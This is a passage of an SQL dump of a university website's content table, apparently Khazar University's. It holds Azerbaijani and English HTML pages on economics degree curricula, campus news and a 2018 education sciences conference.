serif\"><tbody><tr><td colspan=\"2\" width=\"499\"><strong>Tələb olunanlar</strong></td><td width=\"69\">&nbsp;</td></tr><tr><td width=\"182\">MKT 420</td><td width=\"318\">Beynəlxalq marketinq</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MKT 430</td><td width=\"318\">İstehlakçıların davranışı</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MKT 450</td><td width=\"318\">Marketinq araşdırmaları</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MKT 460</td><td width=\"318\">Marketinqin menecmenti</td><td width=\"69\">3</td></tr><tr><td width=\"182\"><strong>Seçmə fənlər</strong></td><td width=\"318\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"69\">12</td></tr><tr><td colspan=\"2\" width=\"499\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"69\"><strong>24</strong></td></tr><tr><td width=\"182\"><strong>Cəmi</strong></td><td width=\"318\">&nbsp;</td><td width=\"69\"><strong>128</strong></td></tr></tbody></table><p><strong>QEYD:&nbsp;</strong>Fakültə digər alternativ fənlər təklif edə bilər.</p><p><strong>İqtisadiyyat üzrə bakalavr dərəcəsi proqramı</strong></p><p><strong></strong>İqtisadiyyat üzrə&nbsp; bu proqram əsasən tətbiqi iqtisadiyyat sahəsində fərqlənmək istəyən tələbələr üçün nəzərdə tutulmuşdur. Bu proqram özəl və dövlət sektorunda &nbsp;biznes iqtisadiyyatının rolunu uğurla yerinə yetirmək üçün&nbsp; tələbələri lazımi peşəkar biliklə təmin edir. Proqram iqtisadiyyatın kəmiyyətcə&nbsp; təhlili, pul siyasəti, iqtisadi göstəricilər və qloballaşma ilə bağlı fəaliyyətləri əhatə edir.</p><p></p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"543\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"118\"><strong>Kod</strong></td><td width=\"315\"><strong>Dərslər</strong></td><td width=\"110\"><strong>Kreditlər</strong></td></tr><tr><td width=\"118\"><strong>Mahiyyət</strong></td><td width=\"315\">&nbsp;</td><td width=\"110\">&nbsp;</td></tr><tr><td width=\"118\">ECON 101</td><td width=\"315\">İqtisadiyyata giriş</td><td width=\"110\">4</td></tr><tr><td width=\"118\">ACC 210</td><td width=\"315\">Mühasibatlığın əsaları</td><td width=\"110\">3</td></tr><tr><td width=\"118\">BSA 205</td><td width=\"315\">Kompüterlərin iqtisadiyyat və biznesdə tətbiqi</td><td width=\"110\">3</td></tr><tr><td width=\"118\">BSA 215</td><td width=\"315\">İqtisadiyyat və Biznes statistikası</td><td width=\"110\">4</td></tr><tr><td width=\"118\">MATH 225</td><td width=\"315\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">FIN 310</td><td width=\"315\">Maliyyə menecmentinin əsasları</td><td width=\"110\">3</td></tr><tr><td width=\"118\">MGT 310</td><td width=\"315\">Menecement və təşkilatçılıq</td><td width=\"110\">3</td></tr><tr><td width=\"118\">FIN 350</td><td width=\"315\">Pul, bank işi və maliyyə bazarları</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 430</td><td width=\"315\">İnnovasiya və sahibkarlıq iqtisadiyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">IB 410</td><td width=\"315\">Beynəlxalq biznes</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 310</td><td width=\"315\">Mikroiqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 315</td><td width=\"315\">Makroiqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td width=\"118\">FIN 415</td><td width=\"315\">Dövlət maliyyəsi</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 450</td><td width=\"315\">Ekonometrika</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 445</td><td width=\"315\">Menecment iqtisadiyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 420</td><td width=\"315\">Regional iqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td colspan=\"2\" width=\"433\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"110\"><strong>50</strong></td></tr><tr><td colspan=\"2\" width=\"433\">İxtisaslar</td><td width=\"110\">&nbsp;</td></tr><tr><td colspan=\"2\" width=\"433\"><strong>Tələb olunanlar</strong></td><td width=\"110\">&nbsp;</td></tr><tr><td width=\"118\">ECON&nbsp; 460</td><td width=\"315\">Dövlət xərcləri, vergilər və dövlət siyasəti</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 425</td><td width=\"315\">Ətraf mühit iqtisadiyyatı və siyasəti</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 470</td><td width=\"315\">İnkişafın iqtisadiyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 480</td><td width=\"315\">Beynəlxalq iqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td width=\"118\">&nbsp;</td><td width=\"315\">&nbsp;</td><td width=\"110\">&nbsp;</td></tr><tr><td width=\"118\"><strong>Seçmə fənlər</strong></td><td width=\"315\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"110\">12</td></tr><tr><td colspan=\"2\" width=\"433\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"110\"><strong>24</strong></td></tr><tr><td width=\"118\"><strong>Cəmi</strong></td><td width=\"315\">&nbsp;</td><td width=\"110\"><strong>128</strong></td></tr></tbody></table><p><strong>QEYD:&nbsp;</strong>Fakültə digər alternativ fənlər təklif edə bilər.</p><p><strong>Beynəlxalq İqtisaiyyat üzrə bakalavr dərəcəsi proqramı</strong></p><p><strong></strong>İqtisadiyyat və Menecment fakültəsinin bu proqramı iqtisadiyyatın kəmiyyətcə&nbsp; təhlili, pul siyasəti, iqtisadi göstəricilər, qloballaşma və beynəlxalq iqtisadi münasibətlər ilə bağlı fəaliyyətləri əhatə edir.</p><p></p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"594\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"190\"><strong>Mahiyyət</strong></td><td width=\"332\">&nbsp;</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"190\">ECON 101</td><td width=\"332\">İqtisadiyyata giriş</td><td width=\"72\">4</td></tr><tr><td width=\"190\">ACC 210</td><td width=\"332\">Mühasibatlığın əsasları</td><td width=\"72\">3</td></tr><tr><td width=\"190\">BSA 205</td><td width=\"332\">Kompüterlərin&nbsp;İqtisadiyyat və Biznesdə tətbiqi</td><td width=\"72\">3</td></tr><tr><td width=\"190\">BSA 215</td><td width=\"332\">İqtisadiyyat və Biznes statistikası</td><td width=\"72\">4</td></tr><tr><td width=\"190\">MATH 225</td><td width=\"332\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"72\">3</td></tr><tr><td width=\"190\">FIN 310</td><td width=\"332\">Maliyyə menecmentinin əsasları</td><td width=\"72\">3</td></tr><tr><td width=\"190\">MGT 310</td><td width=\"332\">Menecment və təşkilatçılıq</td><td width=\"72\">3</td></tr><tr><td width=\"190\">FIN 350</td><td width=\"332\">Pul, Bank işi və Maliyyə bazarları</td><td width=\"72\">3</td></tr><tr><td width=\"190\">Law 335</td><td width=\"332\">Beynəlxalq biznes hüququ</td><td width=\"72\">3</td></tr><tr><td width=\"190\">IB 410</td><td width=\"332\">Beynəlxalq biznes</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 310</td><td width=\"332\">Mikroiqtisadiyyat</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 315</td><td width=\"332\">Makroiqtisadiyyat</td><td width=\"72\">3</td></tr><tr><td width=\"190\">FIN 415</td><td width=\"332\">Dövlət maliyyəsi</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 450</td><td width=\"332\">Ekonometrika</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 445</td><td width=\"332\">Menecment iqtisadiyyatı</td><td width=\"72\">3</td></tr><tr><td width=\"190\">MGT 465</td><td width=\"332\">Strateji menecment</td><td width=\"72\">3</td></tr></tbody></table>&nbsp;<strong>İxtisaslar</strong><table cellpadding=\"0\" cellspacing=\"0\" width=\"494\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td colspan=\"2\" width=\"434\"><strong>Tələb olunanlar</strong></td><td width=\"60\">&nbsp;</td></tr><tr><td width=\"158\">ECON&nbsp; 460</td><td width=\"276\">Dövlət xərcləri, vergilər və dövlət siyasəti</td><td width=\"60\">3</td></tr><tr><td width=\"158\">ECON 425</td><td width=\"276\">Ətraf mühit iqtisadiyyatı və siyasəti</td><td width=\"60\">3</td></tr><tr><td width=\"158\">ECON 470</td><td width=\"276\">İnkişaf iqtisadiyyatı</td><td width=\"60\">3</td></tr><tr><td width=\"158\">ECON 480</td><td width=\"276\">Beynəlxalq iqtisadiyyat</td><td width=\"60\">3</td></tr><tr><td width=\"158\">&nbsp;</td><td width=\"276\">&nbsp;</td><td width=\"60\">&nbsp;</td></tr><tr><td width=\"158\"><strong>Seçmə fənlər</strong></td><td width=\"276\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"60\">12</td></tr><tr><td colspan=\"2\" width=\"434\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"60\"><strong>24</strong></td></tr><tr><td width=\"158\"><strong>Cəmi</strong></td><td width=\"276\">&nbsp;</td><td width=\"60\"><strong>128</strong></td></tr></tbody></table><strong><br></strong><p></p><p><strong>QEYD:&nbsp;</strong>Fakültə digər alternativ fənlər təklif edə bilər.</p>'),(4313,2547,'en','Instructor of Khazar University at International Conference and Exhibition','SEG and AAPG, the recognized global leaders in the dissemination of high-quality geoscience data and information, brought their...','<p>SEG and AAPG, the recognized global leaders in the dissemination of high-quality geoscience data and information, brought their International Conference and Exhibition (ICE) to London, 15-18 October, 2017. ICE London gathered geologists, geophysicists and other petroleum industry professionals from 60+ countries to build their knowledge and skills, discover technology innovations and network with peers.</p><p>Shahriyar Alkhasli, a PhD student and instructor of Khazar University, presented the results of “Evaluation of rock properties in structurally deformed areas based on outcrop analogues for offshore fields in Azerbaijan” research project on behalf of eiLink Research &amp; Development Center of Khazar University during this event. Among the delegation of Khazar University, professionals from SPE Azerbaijan and a Bachelor student were present at ICE London 2017.</p>'),(4314,2548,'az','KİM-də Təhsil fakültəsinin tələbələri üçün təlim keçirildi','2017-ci il oktyabrın 20-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzində Təhsil fakültəsinin tələbələri...','<p>2017-ci il oktyabrın 20-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzində Təhsil fakültəsinin tələbələri üçün “Kitabxanadan istifadə qaydaları”, “Elektron kataloq” və “Elektron arxivdən” istifadə üsulları mövzusunda təlim keçirildi. Təlimi Kitabxana-İnformasiya Mərkəzinin əməkdaşları Samirə Orucova və Esmira Hüseynova keçirdilər.</p>'),(4315,2549,'az','Azərbaycanın Dövlət Müstəqilliyi Gününə həsr olunmuş Bilik yarışması keçirildi','2017-ci il oktyabrın 20-də Xəzər Universiteti Tələbə Məclisi 18 Oktyabr – Azərbaycanın Dövlət Müstəqilliyi...','<p>2017-ci il oktyabrın 20-də Xəzər Universiteti Tələbə Məclisi 18 Oktyabr –&nbsp;Azərbaycanın Dövlət Müstəqilliyi Gününə həsr olunmuş universitetdaxili ənənəvi Bilik yarışmasını keçirdi. 16 komandanın mübarizə apardığı yarışma 3 turdan ibarət idi və “Nə? Harda? Nə zaman?” konsepsiyasında oynanıldı. Hər komanda 4 nəfərdən ibarət idi.</p><p>Tədbiri giriş sözü ilə Xəzər Universitetinin İdarəetmə və tələbə işləri üzrə prorektoru İsaxan İsaxanlı açaraq, tədbir iştirakçılarını Azərbaycanın Dövlət Müstəqilliyi Gününü münasibətilə təbrik etdi, yarış iştirakçılarına uğurlar arzuladı.</p><p>Tədbirdə universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli, Jurnalistika departamentinin koordinatoru Cabir Məmmədli də iştirak edirdilər.</p><p>Yarışın nəticələrinə əsasən ilk üç yeri tutan komandalar pul mükafatları (1-ci yer 150 manat, 2-ci yer 100 manat və 3-cü yer 50 manat) və diplomlarla mükafatlandırıldılar. İlk üç yeri “Handsome Guys” (1-ci yer), “Bravoos” (2-ci yer), “The Gang” (3-cü yer) komandaları tutdular.</p>'),(4320,2553,'en','Meeting at Paris 1 Pantheon-Sorbonne University','On October 11, 2017, delegation of Khazar University and Dunya School met with representatives of Paris 1...','<p>On October 11, 2017, delegation of Khazar University and Dunya School met with representatives of Paris 1 Pantheon-Sorbonne University and discussed collaboration between the two universities.</p><p>Participants from Paris 1 Pantheon-Sorbonne University included Professor Maria Gravari Barbas (Vice-President in charge of International Relations), Dr. Annie Soriot (Director of International Relations), Anais Pamboukjian (Head of International Cooperation Office), Dr. Florent Pratlong (Senior Lecturer in Management), and Dr. Aurelie Condevaux (Senior Lecturer EIREST, Interdisciplinary Research Team on Tourism).</p><p>Dr. Annie Soriot, Director of International Relations Paris 1 Pantheon-Sorbonne delivered a short presentation about the university. Professor Maria Gravari Barbas, Vice-President in charge of International Relations, outlined several areas for potential collaboration, including economics, management, and tourism.</p><p>Professor Hamlet Isakhanli spoke about Khazar University, its development strategy and priorities for international collaboration. He expressed a strong interest in collaborating with Paris 1 Pantheon-Sorbonne University. Turan Jafarova, Director of International Affairs Office, conducted a presentation about Khazar University. The meeting ended with exchange of gifts and promotional materials of universities.</p><p>The delegation headed by the Founder of Khazar and the Chairman of its Board of Directors and Trustees included administrative staff members of Khazar University (Rector Dr. Hassan Niknafs, Vice-Rector for Research Dr. Irada Khalilova, Development Director Ms. Raziya Isayeva, Psychology Department Coordinator Ms. Ulkar Isayeva, Director of International Affairs Office Ms. Turan Jafarova) and its affiliate Dunya School (co-founder of Dunya School Ms. Naila Isayeva, Principal of Dunya School Ms. Marufa Madatli, IB Program Coordinator Ms. Rena Hasanova).</p>'),(4321,2554,'az','Topoqraf-rəssam tarixçi tələbələrlə görüşdü','2017-ci il oktyabrın 23-də Xəzər Universitetinin Tarix və arxeologiya departamentinin təşəbbüsü ilə Təhsil fakültəsi...','<p>2017-ci il oktyabrın 23-də Xəzər Universitetinin Tarix və arxeologiya departamentinin təşəbbüsü ilə Təhsil fakültəsi tarix müəllimliyi ixtisasının “Arxeologiyaya giriş” dərsində AMEA Arxeologiya və Etnoqrafiya İnstitutunun əməkdaşı, elmi işçi, topoqraf-rəssam Vəfa Həsənova iştirak etdi. Dərs zamanı gələcək tədqiqatçılar üçün zəruri olan əməli bilik və bacarıqlar tədris olundu. Tələbələrə abidələrin topoqrafiyası, qazıntının stratiqrafiyası və tapıntıların təsvirinin yaradılması texnikası barədə məlumatlar verildi. Mütəxəssisin izahı və təqdimatı ilə tələbələr özləri əyani vəsaitlərdən istifadə etməklə, gil qabların təsvirlərini çəkdilər.</p><p>Dərs tətbiqi arxeologiya sahəsi üzrə tələbələrin məlumatlandırılması və vərdişlərə yiyələnmələri məqsədi daşıyırdı. Fənnin metodoloji və əyani səviyyə daşıması baxımından dərs tələbələrin marağına səbəb oldu.</p>'),(4322,2555,'az','Tanınmış arxeoloqla görüş keçiriləcək','2017-ci il oktyabrın 24-ü saat 14:00 konfrans zalında (otaq 201N) dünya şöhrətli tanınmış hetşünas...','<p>2017-ci il oktyabrın 24-ü saat 14:00 konfrans zalında (otaq 201N) dünya şöhrətli tanınmış hetşünas, arxeoloq Prof. Dr. Andreas Schachner ilə görüş keçiriləcək. Maraqlananlar iştirak edə bilərlər.</p>'),(4323,2556,'az','BEYNƏLXALQ TƏHSİL ELMLƏRİ KONFRANSI','BEYNƏLXALQ TƏHSİL ELMLƏRİ KONFRANSI','<h4 style=\"text-align:center\"><strong><br></strong></h4><h4 style=\"text-align:center\"><strong style=\"font-size:large\">Professor Hamlet İsaxanlının 70 illik yubileyinə həsr olunan</strong></h4><p style=\"text-align:center\"><strong><br></strong></p><h3 style=\"text-align:center;font-size:x-large\"><strong style=\"color:#660033\">BEYNƏLXALQ TƏHSİL ELMLƏRİ KONFRANSI</strong></h3><p style=\"text-align:center\"><strong style=\"font-size:x-large\"><br></strong></p><p style=\"text-align:center\"><strong style=\"font-size:x-large\"><br></strong></p><p style=\"text-align:center\"><strong style=\"color:#660033\">20-21 APREL 2018  </strong></p>'),(4324,2557,'az','KONFRANS HAQQINDA','KONFRANS HAQQINDA','<p style=\"text-align:justify\">Azərbaycan multikultural cəmiyyətiylə, qədim təhsil ənənəsiylə, klassik alimləriylə, şaxəli mədəni irsiylə dünyanın diqqətini çəkmişdir.</p><p style=\"text-align:justify\">Müasir proseslər içərisində <strong>təhsilin idarəolunması və liderlik, təhsil siyasəti və strategiyaları, təhsildə müasir yanaşmalar və texnologiya kimi </strong>məsələləri müzakirə etmək məqsədilə Xəzər Universiteti, <strong>20-21 Aprel 2018 tarixlərində Beynəlxalq Təhsil Elmləri Konfransı </strong>təşkil etməkdən məmnuniyyət duyur.</p>'),(4325,2558,'az','AKADEMİK ŞURA','AKADEMİK ŞURA',''),(4326,2560,'az','MƏSLƏHƏT ŞURASI','MƏSLƏHƏT ŞURASI',''),(4327,2561,'az','TƏŞKİLAT KOMİTƏSİ','TƏŞKİLAT KOMİTƏSİ','<p>1.&nbsp;<strong>Ph.D. Elza Səmədli</strong> (<span style=\"color:#0000cc;text-decoration:underline\">esemedova[at]khazar.org</span>)</p><p>2.&nbsp;<strong>Ülkər Bayramova</strong> (<span style=\"text-decoration:underline;color:#0000cc\" class=\"undefined\">ubayramova[at]khazar.org</span>)</p><p>3.&nbsp;<strong>Qoşqar Məhərrəmov</strong> (<span style=\"text-decoration:underline;color:#0000cc\" class=\"undefined\">gmaharramov[at]khazar.org</span>)</p><p>4.<strong>&nbsp;Elvin Məmmədov</strong> (<span style=\"text-decoration:underline;color:#0000cc\" class=\"undefined\">emammadov[at]khazar.org</span>)</p><p>5.<strong>&nbsp;Ph.D. Ceyhun Məmmədov</strong> (<span style=\"color:#0000cc;text-decoration:underline\">jmammadov[at]khazar.org</span>)&nbsp;</p><p>6.&nbsp;<strong>Turan Cəfərova</strong> (<span style=\"color:#0000cc;text-decoration:underline\">tjafarova[at]khazar.org</span>)</p><p>7.&nbsp;<strong>Günel Dostuyeva</strong> (<span style=\"text-decoration:underline;color:#0000cc\" class=\"undefined\">gdostuyeva[at]khazar.org</span>)</p>'),(4328,2562,'az','TƏŞKİLATİ və DƏSTƏK QURUMLARI','TƏŞKİLATİ və DƏSTƏK QURUMLARI',''),(4329,2563,'az','SİMPOZİMUN MÖVZULARI','SİMPOZİMUN MÖVZULARI','<p></p><ul><li>Dünya təhsil sistemləri, təhsil siyasəti və strategiya;</li><li>Ali təhsildə gedən proseslər və yeniliklər;</li><li>Təlim tədris prosesinin təkmilləşdirilməsi strategiyası;</li><li>Təhsilin idarə olunması və liderlik;</li><li>Təhsilin planlaşdırılması və iqtisadiyyatı;</li><li>Təhsildə texnologiyaların tətbiqi;</li><li>Təhsilin sosial-mədəni əsasları (fəlsəfəsi, sosiologiyası, psixologiyası və tarixi)</li></ul><p></p>'),(4330,2564,'az','KONFRANSIN TƏQVİMİ','KONFRANSIN TƏQVİMİ','<h3><strong>Önəmli Tarixlər</strong></h3><div><strong><br></strong></div><div><strong><table cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"422\">\r\n  <div>\r\n  <p><strong>Konfransın\r\n  elanı</strong></p>\r\n  </div>\r\n  </td>\r\n  <td width=\"189\">\r\n  <div>\r\n  <p>30.10.2017</p>\r\n  </div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\">\r\n  <div>\r\n  <p><strong>Tezislərin\r\n  göndərilmə tarixi</strong></p>\r\n  </div>\r\n  </td>\r\n  <td width=\"189\">\r\n  <div>\r\n  <p>25.12.2017</p>\r\n  </div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\">\r\n  <div>\r\n  <p><strong>Tezislərin\r\n  cavablarının verilməsinin son tarixi</strong></p>\r\n  </div>\r\n  </td>\r\n  <td width=\"189\">\r\n  <div>\r\n  <p>15.01.2018</p>\r\n  </div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\">\r\n  <div>\r\n  <p><strong>Seçilən\r\n  tezislərin&nbsp;tam mətninin son göndərilmə tarixi</strong></p>\r\n  </div>\r\n  </td>\r\n  <td width=\"189\">\r\n  <div>\r\n  <p>22.03.2018</p>\r\n  </div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\">\r\n  <div>\r\n  <p><strong>İştirakçıların\r\n  elanı</strong></p>\r\n  </div>\r\n  </td>\r\n  <td width=\"189\">\r\n  <div>\r\n  <p>31.01.2018</p>\r\n  </div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\">\r\n  <div>\r\n  <p><strong>Konfransın\r\n  proqramının elanı</strong></p>\r\n  </div>\r\n  </td>\r\n  <td width=\"189\">\r\n  <div>\r\n  <p>28.02.2018</p>\r\n  </div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"422\">\r\n  <div>\r\n  <p><strong>Konfransın\r\n  keçirilmə tarixi</strong></p>\r\n  </div>\r\n  </td>\r\n  <td width=\"189\">\r\n  <div>\r\n  <p>20-21.04.2018</p></div></td></tr></tbody></table></strong></div>'),(4331,2565,'az','TEZİS GÖNDƏRMƏ','TEZİS GÖNDƏRMƏ','<p style=\"font-size:x-large\"><strong style=\"color:#660033\">Tezis yazma qaydaları</strong></p><p>Tezislər <em>A4</em> formatında, MS Word proqramında <em>12 pt</em> və <em>1.5 sətir</em> aralığıyla yazılmalıdır. Tezisin səhifə sayı 3-ü keçməməlidir. Azərbaycan, Türk, İngilis və Rus dillərində qəbul edilir və ən az 4, ən çox 8 sözdən ibarət açar söz verilməlidir. İstifadə edilən sitatların göstərilməsində <em>APA (American Psycology Association)</em> sistemindən (mötərizə içi sistem) istifadə edilməsi tövsiyə edilir.&nbsp;&nbsp;</p><p>Konfransda təqdim ediləcək tezislər orijinal, təhsil elmlərinin inkişafına faydalı ola biləcək və həmin sahədəki əsas problemlərə işıq tutacaq xüsusiyyətdə və keyfiyyətdə olmalıdır. Tezis problemin məqsəd, qoyuluşu, literatura, tədqiqat metodu, əldə olunan və ya olunacaq məlumatlar, məlumatların analiz yolu və nəticə hissələrini özündə əks etdirməlidir. Tezislərin qiymətləndirilməsində sadalanan xüsusiyyətlər meyar olaraq qəbul ediləcəkdir.&nbsp;</p><p>Konfransın akademik heyətinin rəyindən keçən tezislər göstərilən tarixdə tam mətn məqalə olaraq tələb ediləcək və ingilis dilində olan (sonradan tərcümə edilmiş də ola bilər) məqalələr <strong>Xəzər Universitetinin Thomson Reuters siyahısında yer alan “Xəzər Humanitar və Sosial Elmlər Jurnalı”nın xüsusi sayında nəşr olunacaq.&nbsp;</strong></p><p>Tezislər <span style=\"text-decoration:underline;color:#0000cc\" class=\"undefined\">education[at]khazar.org</span> e-mail ünvanına, aşağıdakı şəkildə göndərilməlidir:</p><p><strong style=\"text-align:justify;font-size:x-large\"><span lang=\"TR\" style=\"color:#660033\"><br></span></strong></p><p><strong style=\"text-align:justify;font-size:x-large\"><span lang=\"TR\" style=\"color:#660033\">Tezis &nbsp;yazılarkən diqqət edilməsi vacib məsələlər</span></strong></p><p><strong>Jurnalın linki qoyula bilər</strong></p><ul><li>Tezisdə yer alan sözlərin sayı 3000-i keçməməlidir</li><li>Tezislərdə yuxarıda, konfrans mövzularında qeyd olunan mövzularda olmalıdır</li><li>Tezislərdə müəlliflərin akademik ünvanı verilməməlidir</li><li>Müəllif(lər)in ad(lar)ı ilk hərf xaric kiçik hərflə yazılmalıdır</li></ul><p style=\"\" margin-top:4.5pt;margin-right:7.5pt;margin-bottom:4.5pt;margin-left:7.5pt;text-align:justify;line-height:150%\"\"=\"\"><br></p><p style=\"\" margin-top:4.5pt;margin-right:7.5pt;margin-bottom:4.5pt;margin-left:7.5pt;text-align:justify;line-height:150%\"\"=\"\">Məsələn:&nbsp;<em>Shahriyar Aliyev</em></p><p style=\"\" margin-top:4.5pt;margin-right:7.5pt;margin-bottom:4.5pt;margin-left:7.5pt;text-align:justify;line-height:150%\"\"=\"\"><em><br></em></p><ul><li>Müəlliflərin işlədikləri\r\nmüəssisələrin adı və ünvanı verilməlidir.&nbsp;</li></ul><p><br></p><p>Məsələn: <em>Baku State University, Azerbaijan</em></p><p><em><br></em></p><br><div><ul><li>Tezis başlığının sadəcə ilk hərfi böyük yazılmalıdır.</li></ul></div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\">Məsələn: <em>National Mechanisms for Ensuring Social Rights</em></div><div style=\"font-size:large\"><em><br></em></div><div><ul><li>Tezislərdə qısaltma istifadə olunursa, qısaltmanın açıq adı mötərizə içində yazılmalıdır.</li><li>Tezisdə tədqiqatın və ya işin məqsədi və istifadə olunan metodlar geniş izah olunmalıdır, tapıntılar rəqəmlərlə göstərilməli və tapıntılar çərçivəsində nəticə izah edilməlidir.</li><li>Tezis: məqsəd, giriş, metod, tapıntılar və nəticə başlıqları istifadə edilərək yazılmalıdır.</li><li>Tezis, adı, müəllifin adı, soyadı, ünvanı xaric olmaqla, minimum maksimum 3000 sözü keçməməlidir.</li><li>Tezis mətnlərinin içində istinadlar mütləq qeyd olunmalıdır. Ancaq istifadə olunmuş mənbələr açar sözlər verildikdən sonra xülasənin sonunda verilə bilər.</li><li>Tezislərin sonunda mövzuyla əlaqəli açar sözlər (3 və ya 5 söz) yer almalıdır.</li><li>Tezislər daha əvvəl hər hansı bir yerdə təqdim edilmiş məqalələr olmamalıdır. Əks halda qəbul edilməyəcəkdir.</li><li>Tezislərdə şəkil, cədvəl yer ala bilər.</li><li>Tezislər word formatında tələb olunur.</li></ul></div><p><br></p><p>Bu qaydalara riayət olunmayan tezislər&nbsp;qəbul olunmayacaqdır.&nbsp;</p>'),(4332,2566,'az','ELANLAR','ELANLAR','<p><strong style=\"color:#660033;font-size:x-large\">I&nbsp;ELAN</strong></p><p style=\"text-align:justify\">Təhsil sahəsində son yeniliklərin və mövcud problemlərin müzakirə olunması məqsədilə Xəzər Universitəsi, <strong>20-21 Aprel 2018 tarixlərində Beynəlxalq Təhsil Elmləri Konfransına</strong> ev sahibliyi edir.</p><p style=\"text-align:justify\">Dünyanın müxtəlif universitetlərindən gələn alimlərin, tədqiqatçıların iştirakıyla keçiriləcək bu konfransın məqsədi təhsildə baş verən son yenilikləri tədqiqatçılarla müzakirə etmək, gənc tədqiqatçıları bu sahələrə təşviq etməkdir.</p><p style=\"text-align:justify\">Konfransa <strong>Azərbaycan, Türk, Rus və İngilis</strong> dillərində məqalələr qəbul edilir.</p><p style=\"text-align:justify\">Konfransda iştirak etmək üçün qeydiyyatdan keçib,<strong> təyin olunan müddətdə</strong> tezisləri göndərmək xahiş olunur.</p>'),(4333,2567,'az','ƏLAQƏ','ƏLAQƏ','<p><strong style=\"font-size:x-large\"><br></strong></p><p><strong style=\"font-size:x-large;color:#660033\">Əlaqə üçün ümumi məlumat:</strong></p><p><strong>Ünvan:&nbsp;</strong>Məhsəti küç. 11,&nbsp;AZ1096, Bakı,&nbsp;Azərbaycan</p><p><strong>Telefon:</strong> (994 12) 421 79 27 (ofis)</p><p><strong>Faks:</strong> (994 12) 498 93 79</p><p><strong>Email:</strong> <span style=\"color:#0000cc;text-decoration:underline\">educonference[at]khazar.org</span></p><p><br></p><h4><strong style=\"font-size:x-large;color:#660033\">Əlaqə qurmaq üçün məsul şəxslər:</strong></h4><p><strong>Elza Səmədli</strong> (Fəlsəfə doktoru, Dosent)</p><p><strong>Qoşqar Məhərrəmov</strong></p><p><strong>Mobil: </strong>(994 50) 514&nbsp;04&nbsp;95</p><p><strong>E-mail: </strong><span style=\"text-decoration:underline;color:#0000cc\" class=\"undefined\">esemedova[at]khazar.org</span></p>'),(4494,2659,'en','Seminar on ‘Water Balance of the Khojasan Lake’ to be held','On December 6, 2017, at 11:00 a.m., the Department of Geography and the Environment of Khazar University will conduct a seminar...','<p>On December 6, 2017, at 11:00 a.m., the Department of Geography and the Environment of Khazar University will conduct a seminar on ‘Water Balance of the Khojasan Lake’. The seminar will be attended by representatives of state organisations, universities and National Academy of Sciences.</p><p>The seminar will take place at the conference hall of the Neftchiler campus (room 102N) at Khazar University.</p><p>Those interested are invited.</p><p style=\"text-align:center\"><img src=\"/files/geography_depart/khojasan_poster.jpg\" style=\"width:600px;height:845px\">&nbsp;<br></p>'),(4334,2555,'en','A meeting with a well-known archaeologist','On October 24, 2017, a meeting with Prof. Dr Andreas Schachner, a world - renowned researcher, archeologist...','<p>On October 24, 2017, a meeting with Prof. Dr Andreas Schachner, a world - renowned researcher, archeologist, will be held at 14:00, at the conference hall (room 201N).</p>'),(4335,2568,'az','Hamlet İsaxanlı beynəlxalq seminarda iştirak etdi','Qəbələ şəhərində, 21-22 Oktyabr, 2017-ci il tarixində Qəbələ Arxeologiyası Beynəlxalq Elmi Seminarı keçirildi...','<p>Qəbələ şəhərində, 21-22 Oktyabr, 2017-ci il tarixində Qəbələ Arxeologiyası Beynəlxalq Elmi Seminarı keçirildi.  Seminarda&nbsp;Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Tarix və arxeologiya departamentinin müdiri Roza xanım Arazova, Xəzər Universitetində nəşr olunan “Azərbaycan arxeologiyası” jurnalının redaktoru professor Qüdrət İsmayılov, “Dünya” məktəbinin təsisçisi Nailə xanım İsayeva iştirak etdilər.</p><p>Professor Qüdrət İsmayılov xüsusi məruzə 